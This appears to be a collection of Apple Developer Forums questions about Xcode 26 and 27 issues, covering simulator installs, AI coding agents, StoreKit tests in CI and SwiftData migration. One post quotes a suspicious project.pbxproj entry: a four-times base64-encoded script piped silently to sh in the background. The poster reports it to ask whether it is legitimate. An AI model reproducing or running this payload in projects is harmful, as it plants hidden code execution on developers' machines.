When trying to install the Metal Toolchain in the latest Xcode, I end up with this error. Any idea?

Summary xcrun simctl install <valid.app> fails even though the app's Info.plist contains a correct, well-formed CFBundleIdentifier — verified independently with plutil -p. The app builds successfully via xcodebuild twice, under two different signing configurations. This is purely an install-time failure. ERROR · EVERY ATTEMPT An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Environment MACOS 26.5.2 · Build 25F84 XCODE 26.6 · Build 17F113 SIMULATOR RUNTIME iOS 26.5 (23F77) HARDWARE Apple M5 KERNEL Darwin 25.5.0 arm64 XCODE.APP / SIMULATOR PLATFORM both freshly installed Xcode.app and the iOS Simulator platform were both freshly installed immediately before this was discovered — this may be a first-run / first-boot issue specific to this Xcode 26.6 + iOS 26.5 combination. Project being built A SwiftUI iOS app target generated via XcodeGen from project.yml, depending on a local Swift Package with four library products. Nothing exotic — no third-party SDKs, no CocoaPods, no entitlements file. PROJECT.YML — RELEVANT TARGET BLOCK PROJECT.YML targets: QuestionsWeCarry: type: application platform: iOS deploymentTarget: "17.0" sources: - path: App/Sources - path: App/Resources type: folder buildPhase: resources info: path: App/Info.plist properties: CFBundleDisplayName: "Questions We Carry" UILaunchScreen: {} ITSAppUsesNonExemptEncryption: false UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false settings: base: PRODUCT_BUNDLE_IDENTIFIER: com.brodywolfstudio.questionswecarry MARKETING_VERSION: "1.0.0" CURRENT_PROJECT_VERSION: "1" SWIFT_VERSION: "5.10" TARGETED_DEVICE_FAMILY: "1,2" CODE_SIGN_STYLE: Manual CODE_SIGN_IDENTITY: "-" CODE_SIGNING_REQUIRED: NO CODE_SIGNING_ALLOWED: YES dependencies: - package: QWCKit product: QWCCore - package: QWCKit product: QWCEngine - package: QWCKit product: QWCStore - package: QWCKit product: QWCUI BUILD COMMAND THAT SUCCEEDS SHELL xcodebuild -project QuestionsWeCarry.xcodeproj -scheme QuestionsWeCarry -configuration Debug -destination "platform=iOS Simulator,id=" -derivedDataPath DerivedData build Result: BUILD SUCCEEDED, produces DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app. INFO.PLIST INSIDE THE BUILT .APP (VIA PLUTIL -P) INFO.PLIST { "BuildMachineOSBuild" => "25F84" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "Questions We Carry" "CFBundleExecutable" => "QuestionsWeCarry" "CFBundleIdentifier" => "com.brodywolfstudio.questionswecarry" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "QuestionsWeCarry" "CFBundlePackageType" => "APPL" "CFBundleShortVersionString" => "1.0" "CFBundleSupportedPlatforms" => [ 0 => "iPhoneSimulator" ] "CFBundleVersion" => "1" "DTCompiler" => "com.apple.compilers.llvm.clang.1_0" "DTPlatformBuild" => "23F81a" "DTPlatformName" => "iphonesimulator" "DTPlatformVersion" => "26.5" "DTSDKBuild" => "23F81a" "DTSDKName" => "iphonesimulator26.5" "DTXcode" => "2660" "DTXcodeBuild" => "17F113" "ITSAppUsesNonExemptEncryption" => false "MinimumOSVersion" => "17.0" "UIApplicationSceneManifest" => { "UIApplicationSupportsMultipleScenes" => false } "UIDeviceFamily" => [ 0 => 1 1 => 2 ] "UILaunchScreen" => { } } CFBundleIdentifier is present, correctly formed, and matches PRODUCT_BUNDLE_IDENTIFIER. file confirms this is a valid Apple binary property list, not corrupted. CODESIGN -DV ON THE BUILT APP CODESIGN -DV Executable=/QuestionsWeCarry.app/QuestionsWeCarry Identifier=QuestionsWeCarry-******* Format=bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=338 flags=0x2(adhoc) hashes=3+3 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources version=2 rules=13 files=4 Internal requirements count=0 size=12 Note Info.plist=not bound — unclear whether this is expected for an ad-hoc-signed bundle app (as opposed to a framework), or is itself a symptom of the underlying problem. Reproduction Minimal, reproducible with the plain command-line tool — no Claude tooling involved in this step: SHELL xcrun simctl install "iPhone 17 Pro" "/DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app" Result (100% reproducible, every attempt): STDERR An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Also reproduced with xcrun simctl launch, which fails as a consequence: Isolation steps taken All of the following were tried, and none changed the outcome — the exact same "Missing bundle ID" error occurs every time: 01 Two signing configurations — unsigned/linker-signed (Sealed Resources=none) vs. proper ad-hoc sign (Sealed Resources version=2 rules=13 files=4), plus a manual codesign --force --deep --sign - re-sign pass. Same failure every time. 02 Two simulator destinations — generic/platform=iOS Simulator and a concrete device id for iPhone 17 Pro. 03 Two never-before-used simulator devices — iPhone 17 Pro and iPhone Air — ruling out per-device CoreSimulator state corruption. 04 Erase + cold boot — simctl shutdown, erase, boot immediately before a fresh install attempt. 05 Real Simulator.app GUI running — not just a headless simctl boot — ruled out a CoreSimulatorService/GUI dependency. 06 Path with no spaces — copied the .app out of a path containing "Application Support" — ruled out a path-quoting issue. The build itself is never in question — xcodebuild reports BUILD SUCCEEDED every time; only the subsequent simctl install step fails. What I'd like feedback on Is this a known issue with this specific Xcode 26.6 / iOS 26.5 Simulator runtime combination — both very recently installed, so possibly a fresh-install/first-boot bug? Is there a required build setting for this Xcode version not yet reflected in commonly-documented XcodeGen/xcodebuild recipes — e.g. an entitlements file now required even for simulator-only, no-team builds, or a different expected code-signing identity/format? Is Info.plist=not bound in the codesign -dv output actually abnormal for an app bundle (as opposed to a framework), and could that be the root cause simctl is choking on?

I've been trying for months to get Gemini 3.5 Flash to work with Xcode 27 Beta (1-3) agentic coding but have failed. Xcode currently uses Gemini CLI v0.42.0 from last year, so it can't call Gemini 3.5 Flash even though all that needs to change is a few characters in the API call. Gemini users are currently forced to choose between 3.1 Pro and 3.1 Flash Preview--both weren't the best choices two months ago, but with the release of 3.6 Flash which is better at coding that 3.1 Pro and miles cheaper, these choices are now unsuitable for any serious workload. I live in Hong Kong, where OpenAI and Anthropic services aren't offered, so Google is the only (native) AI provider for Xcode agentic coding. The cost issue from funneling all the work into 3.1 Pro is terrible especially with some agent bugs that have yet to be ironed out. Given Apple's close partnership with Google on AI, I'm genuinely surprised that after 4 Betas we're still using a Gemini CLI from 2025 that forces users to choose between two very unappealing models. Xcode is basically forcing Google users to switch to OpenAI/Anthropic. Questions: I'd like to know if this will be fixed soon and whether Google users should expect slower updates (i.e. be forced to use older models). Does anyone know of any workarounds?

I'm developing an app for Apple Watch, but I can't connect the Apple Watch to Xcode when I try to run the app on the actual device. I get the following errors: A networking error occurred The device rejected the connection request and A connection to this device could not be established. Timed out while attempting to establish tunnel using negotiated network parameters. The iPhone connects to Xcode without any problem. I've already tried several things without success: Resetting the "trusted computers" settings and trusting the Mac again Restarting all of the devices Making sure all devices are on the same Wi-Fi network On the iPhone, I can see the Developer Mode toggle in Settings, but on the Apple Watch there doesn't seem to be a Developer Mode toggle at all. I'm wondering whether enabling Developer Mode is required in my case. Could anyone tell me how to enable Developer Mode on Apple Watch, or suggest any other way to resolve this issue? Here is my environment: Mac mini (M1, 2020), macOS Tahoe 26.4.1 Xcode 26.4.1 Apple Watch SE 3, watchOS 26.1 iPhone 13, iOS 26.5 Thanks in advance for any help.

How do I select between GPT and Claude, and the model, when opening a new task for the coding agent with the ‘New Conversation’ button in the toolbar?

Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?

I’m seeing a reproducible issue in both Xcode 26 and Xcode 27 where Coding Assistant appears to stop autocompleting when a project contains a larger number of Swift Package dependencies. Symptoms: Autocomplete suggestions from Coding Assistant stop appearing. File targeting with @ stops working. The issue typically appears shortly after opening the project If I start a brand-new chat immediately after opening the project, Coding Assistant sometimes works briefly before failing Reducing or removing Swift Package dependencies fixes the issue I’ve created a sample project that reproduces the problem and have also filed Feedback Assistant report: FB23341243 The issue seems related to package count or project complexity rather than any specific package, although I haven’t yet identified the exact threshold that triggers it. Has anyone else run into this or has anyone found a workaround?

On iOS 18.0+ simulators, tap any share link button from any app, select "Save to Files", the "Save" button is disabled. In all previous simulator versions this works. This behavior even happens with default Apple apps like Photos. Simulator: Version 16.0 (1037) XCode: Version 16.1 beta (16B5001e) macOS: 14.6.1 (23G93)

Downloaded beta three. Tried to continue conversation. Says Using LM Studio/qwen/opencode. Restarted LM Studio. Opencode is on latest version.

quencoder 2.5 locally is making great plans. Beautiful plans amazing plans that are so correct I want to hug it. But when I want to implement it there is no button asking me if I want to go ahead. I tried /exit-plan and the command could not be completed (I only see /plan, /rename, and /exit-planP. I do not see the markdown in a separate pane that's copyable as shown in this video https://developer.apple.com/videos/play/wwdc2026/259/?time=597 (I also can't get the conversation in a separate window by pressing option shift click, I have to manually open the conversation in a new tab). I get a plan interleaved with code snippets and I can't copy the whole plan to a new conversation. I would very much like this to work. (I also really like being able to run locally because I do not agree with google, openai, or anthropic ethics. thanks for giving me a choice) (I also like how not like a sycophant the tone of the response is. refreshing) (Note I started planning first because without a plan it started mucking about in the plist editing status bar keys when the problem was a navigation bar which I thought was clear from the picture I attached) (But I'd really like to say go and I have no buttons to exit plan mode.) (I am going to stay on Tahoe till October) I asked it how to copy and it said: In the opencode session where the plan was discussed, type /share — it'll copy a shareable link to your clipboard (like opncd.ai/s/...). Paste that link here and I can fetch the plan directly. That was a hallucination when I typed /share the agent just repeated its plan for a third time. It's a good plan, the best plan, I don't see any algae in this plan. It also said "I can see from the repository exploration that there's no written plan document, and the other agent is working on "[the plan]." However, I don't have access to the previous conversation's last response. Maybe there should be a button to copy a whole response or open a new conversation (not in plan mode) with a response? I see that I can configure agents https://opencode.ai/docs/agents/. Should I? Shouldn't Xcode do it for me? { "$schema": "https://opencode.ai/config.json", "agent": { "build": { "mode": "primary", "model": "anthropic/claude-sonnet-4-20250514", "prompt": "{file:./prompts/build.txt}", "permission": { "edit": "allow", "bash": "allow" } }, "plan": { "mode": "primary", "model": "anthropic/claude-haiku-4-20250514", "permission": { "edit": "deny", "bash": "deny" } }, "code-reviewer": { "description": "Reviews code for best practices and potential issues", "mode": "subagent", "model": "anthropic/claude-sonnet-4-20250514", "prompt": "You are a code reviewer. Focus on security, performance, and maintainability.", "permission": { "edit": "deny" } } } }

The MetricKit documentation ("Track performance by app state using MetricKit") states: "MetricKit delivers reports on a system-determined schedule. To generate reports during development, choose Debug > Simulate MetricKit Payloads in Xcode." https://developer.apple.com/documentation/metrickit/track-performance-by-app-state-using-metrickit This menu item was present in Xcode 26.6, but is no longer shown under the Debug menu in Xcode 27.0 beta 3. Steps to reproduce: Open a project in Xcode 27.0 beta 3 Open the Debug menu "Simulate MetricKit Payloads" is not listed Expected: The menu item should be available as documented, and as it was in Xcode 26.6. Has anyone else run into this, or found a workaround for triggering MetricKit payloads in Xcode 27 betas? Filed as FB23760649. Environment: Xcode 27.0 beta 3, macOS 26.5.2

So I was using the Xcode 27 beta to do c++ coding. But when I was running the code I cannot type anything in the console. Why does this happen?

On iOS 26.5 simulator runtime, running UI tests via xcodebuild test from the command line does not push the scheme's StoreKitConfigurationFileReference to the destination simulator's storekitd AppGroup Octane container. As a consequence, SKTestSession(configurationFileNamed:) either silently falls through to the production App Store (surfacing a "Sign in to Apple Account" SpringBoard alert during paywall tests), or throws SKInternalErrorDomain Code=3 "Error saving configuration file" if you call any SKTestSession instance method. The same project, same scheme, same .storekit file works correctly when launched via Xcode IDE (Cmd+R / Cmd+U) — which uses DVTDevice.handleStoreKitConfigurationSyncForBundleID:configurationFilePath: via an internal IDELaunchSession XPC path that the public xcodebuild CLI does not invoke. This regression makes StoreKit Test unusable in CI for any project using xcodebuild test or xcodebuild test-without-building against an iOS 26.5 simulator. Environment macOS: 26.x Xcode: 26.4.1 (25E253) iOS Simulator runtime affected: 26.5 iOS Simulator runtime that does not exhibit the bug: 26.1 Test target: XCTest UI tests Test plan: *.xctestplan with "storeKitConfiguration": "MyApp.storekit" in defaultOptions Affected scheme actions: Test (CLI) Not affected: Run, Test (Xcode IDE) Steps to Reproduce Create a SwiftUI iOS app com.example.MyApp. Add a MyApp.storekit with one auto-renewable subscription. Add a UI test target. In the xctestplan: defaultOptions.storeKitConfiguration = "MyApp.storekit". In the UI test base case: private var storeKitSession: SKTestSession? override func setUpWithError() throws { storeKitSession = try SKTestSession(configurationFileNamed: "MyApp") app.launch() } Boot a fresh iOS 26.5 simulator. Run via CLI: xcodebuild test \ -project MyApp.xcodeproj \ -scheme MyApp \ -testPlan MyAppUITests \ -destination "platform=iOS Simulator,name=iPhone 17 Pro" In the test, trigger paywall and call Product.purchase(). Expected Product.purchase() presents the StoreKit Test sheet labeled "[Environment] Xcode". Same behavior as Xcode IDE Cmd+U. Actual Production App Store flow triggers. SpringBoard alert "Sign in to Apple Account" appears. Tests waiting on the "Xcode"-labeled sheet fail with Element does not exist. Evidence The simulator's ~/Library/Developer/CoreSimulator/Devices/<UDID>/data/Containers/Shared/AppGroup/<storekit-AGID>/Documents/Persistence/Octane/com.example.MyApp/Configuration.storekit: Present (≈100 KB) when launched via Xcode IDE. Missing when launched via xcodebuild test CLI on the same simulator UDID. Workarounds Attempted (all fail on iOS 26.5) No-op XCTestCase "warmup" that calls XCUIApplication.launch() + sleep — does not trigger the sync because XCUIApplication.launch() routes through XCTRunner, not IDELaunchSession. Multi-destination xcodebuild test with -parallelize-tests-among-destinations. Manually cp-ing the .storekit file into the AppGroup Octane container — storekitd only loads via the XPC channel. launchctl kickstart -k system/com.apple.storekitd — wipes in-memory state, does not pick up disk file. Only working workaround: open project in Xcode IDE, Cmd+R, wait ~20–30 sec, Cmd+., then Cmd+U. Not viable for CI. Related Open Feedback FB22237318 — SKTestSession instance methods (clearTransactions(), failTransactionsEnabled = true) throw SKInternalErrorDomain Code=3 "Error saving configuration file". Discussion thread: https://developer.apple.com/forums/thread/808030 The iOS 26.5 Release Notes (https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-26_5-release-notes) under StoreKit Test list this issue as resolved in 26.5: "Fixed: SKTestSession may fail to save its configuration file when invoked outside of an Xcode debug session." However, on the public iOS 26.5 simulator runtime the behavior is unchanged — SKTestSession still hits Code=3 on any mutation, and xcodebuild test from CLI still does not sync the .storekit configuration. The 26.5 fix either did not actually ship, or this report describes a distinct but related issue that the fix did not cover. Impact Any CI/CD pipeline running UI tests for apps with StoreKit subscriptions is broken when targeting an iOS 26.5 simulator. Workarounds are either: Pin CI simulator runtime to iOS 26.1. Manually run the project in Xcode IDE before each test run (impossible headless). Has anyone found a CLI-friendly workaround? Or is there an undocumented xcodebuild flag / simctl command that can trigger the same DVTDevice sync from outside the IDE?

Hello, i need ti update an old app. My mac was full and cant even run the apps anymore i have reset it. Now i need ti import the onesignal framework. I followed every guide to import package dependency and still missing framework module. As i can see till not, im not able to do it from guides and tutorials 😅. If someone can help me with any desk i real appreciate it.

My question is how to pinch in and out in Device Hub. I can't find that function. I'm on a Macbook. Thanks.

I am using Xcode 27 beta 3 Device Hub with iPadOS Simulator. The iPadOS app I'm developing supports a standard two finger pinch/unpinch gesture to zoom in and out. In Xcode 26 Simulator, I could hold down the option key to zoom in and out with a two finger multitouch gesture. How can I effect a two finger multitouch zoom gesture with Xcode 27 beta 3 Device Hub iPadOS Simulator? I tried holding down the option key, which did not work. I tried using a macOS two finger multitouch pinch/unpinch zoom gesture, but this did not work. I've spent about 30 minutes investigating this, searching through Device Hub Settings and macOS Settings and exploring different permutations of options and reading Xcode 27 beta release notes. The Option key worked great in Xcode 26 iPadOS Simulator. I'd appreciate any assistance that an Apple Engineer could provide. Thank you.

I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.

Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël

I have a production app that originally used Core Data + CloudKit and was later migrated to SwiftData. The SwiftData migration preserved the existing SQLite store by explicitly pointing ModelConfiguration at the original database: let configuration = ModelConfiguration(url: storeURL) let container = try ModelContainer(for: schema, configurations: configuration) Because of this, my app does not use the higher-level ModelConfiguration(groupContainer:cloudKitDatabase:) initializer. I would now like to migrate the store into an App Group so it can be shared with widgets. During the WWDC26 SwiftData Group Lab (around 18:53), the guidance was: Moving to an App Group container is more involved: it's a different directory and entitlements can't be aligned to the old location, so you'll get a new container and must copy the existing data over into the group container, then start from there. However, I couldn't find documentation describing how Apple recommends performing that copy for a SwiftData application that already uses an explicit SQLite URL. Why the Core Data APIs don't seem applicable The obvious approach would be to use Core Data APIs such as: replacePersistentStore migratePersistentStore However, these APIs require a Core Data stack and a managed object model (.momd). After migrating completely to SwiftData, I no longer have a .momd in my project, so creating an NSPersistentContainer solely to move an existing SQLite store doesn't appear to be possible. Is there a supported way to use these APIs with a SwiftData store, or are they no longer intended for this scenario? Experiment Since the migration happens before creating the ModelContainer, I experimented with simply moving the entire persistence package using FileManager before SwiftData is initialized. Specifically I move: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets from the application's Application Support directory into the App Group container, and then initialize SwiftData using: let configuration = ModelConfiguration(url: appGroupStoreURL) let container = try ModelContainer(for: schema, configurations: configuration) After doing this: all existing data is present; new data can be created successfully; if I run an older build that still points to Application Support, SwiftData simply creates a brand-new empty store there, which suggests the original store was indeed moved successfully. So from a local persistence perspective, this appears to work. Remaining concern Although this approach appears to preserve the SQLite store unchanged, I don't know whether it is actually safe for CloudKit. Specifically: Does moving the complete persistence package with FileManager preserve all CloudKit metadata needed for continued synchronization? Is there any risk that CloudKit will treat the moved store as a different store and re-upload or duplicate records? Are there additional files or directories that must also be moved besides: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets Is there an Apple-recommended migration path for this scenario that avoids introducing a temporary Core Data model purely to move the store? In other words: What is the recommended migration path for an existing production SwiftData application using an explicit SQLite URL to move into an App Group while continuing to use CloudKit? One additional question The SwiftData documentation provides two different ways to configure persistent storage: ModelConfiguration( groupContainer: ..., cloudKitDatabase: ... ) and ModelConfiguration( url: ..., cloudKitDatabase: ... ) My understanding is that when using the groupContainer initializer, SwiftData may automatically handle moving the persistent store into the App Group when the application is updated. However, when using the url initializer, the application is explicitly responsible for choosing the store location. Is that understanding correct? If so: Is there any supported automatic migration mechanism when using ModelConfiguration(url:), or is manual migration expected? If manual migration is expected, is moving the complete persistence package (.sqlite, -wal, -shm, .Store_SUPPORT, Store_ckAssets) before creating the ModelContainer the recommended approach? Or is there another Apple-recommended migration path for this scenario? My related posts/questions https://developer.apple.com/forums/thread/769835 https://developer.apple.com/forums/thread/769676

Xcode 26.5 stucks on Localization Generating Comments: Running on macOS Tahoe 26.5 When this happens, Xcode does not add new keys, although enabled: The only (known) workaround is to restart Xcode. Same happened with Xcode 26.4, 26.4.1 on macOS 26.4.1.